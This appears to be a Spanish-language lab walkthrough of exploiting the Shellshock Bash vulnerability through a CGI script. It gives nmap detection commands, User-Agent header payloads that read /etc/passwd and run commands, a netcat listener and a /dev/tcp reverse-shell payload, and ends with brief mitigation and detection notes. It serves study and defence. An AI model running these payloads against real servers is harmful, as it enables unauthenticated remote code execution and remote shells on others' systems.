💣 Shellshock (CVE-2014-6271)
Shellshock es una vulnerabilidad crítica en GNU Bash que permite ejecutar comandos arbitrarios al procesar variables de entorno maliciosas. Los servidores web que usan scripts CGI escritos en Bash son especialmente vulnerables, ya que las cabeceras HTTP se convierten en variables de entorno que Bash procesa.
CVE-2014-6271 (CVSS 10.0). A pesar de tener más de 10 años, siguen encontrándose servidores vulnerables en entornos legacy. La detección y explotación es trivial.
| Elemento | Descripción |
|---|---|
| Payload Shellshock | () { :; }; |
| Vector | Cabeceras HTTP (User-Agent, Referer, Cookie) |
| Requisito | Servidor web que pase cabeceras a Bash via CGI |
| Impacto | RCE sin autenticación como el usuario del servidor web |
🔍 Fase 1 — Descubrimiento
Escaneo y detección de CGI vulnerable
nmap <IP>
# Puerto 80 abierto
# Detectar Shellshock con NSE:
nmap --script http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" <IP>
# Resultado: VULNERABLE
💥 Fase 2 — Explotación via Burp Suite
Configurar Burp Suite como proxy en el navegador (via FoxyProxy) para interceptar peticiones al CGI.
Payload Shellshock en User-Agent
# En el Repeater de Burp Suite, modificar la cabecera:
User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'
# Otros comandos de prueba:
User-Agent: () { :; }; echo; /bin/bash -c 'id'
User-Agent: () { :; }; echo; /bin/bash -c 'ps -ef'
Obtener reverse shell (si aplica)
# En el atacante, poner en escucha:
nc -lvnp 4444
# Payload de reverse shell:
User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<IP_atacante>/4444 0>&1
📋 Flujo del ataque
1
EscaneoDetectar puerto 80 y script CGI (/gettime.cgi).
2
DetecciónConfirmar Shellshock con nmap NSE.
3
IntercepciónBurp Suite captura petición al CGI.
4
InyecciónPayload Shellshock en User-Agent ejecuta comandos.
5
Post-explotaciónEnumerar sistema y escalar si es posible.
🧠 Conceptos clave
- Shellshock: Bash ejecuta código en la definición de funciones al cargar variables de entorno.
- CGI: Mecanismo que permite al servidor web ejecutar scripts; las cabeceras HTTP se convierten en variables de entorno.
- Burp Suite Repeater: Permite modificar y reenviar peticiones HTTP de forma iterativa.
- Mitigación: Actualizar Bash a una versión parcheada; deshabilitar CGI si no es necesario.
- Detección: WAF puede detectar el patrón
() { :;en las cabeceras HTTP.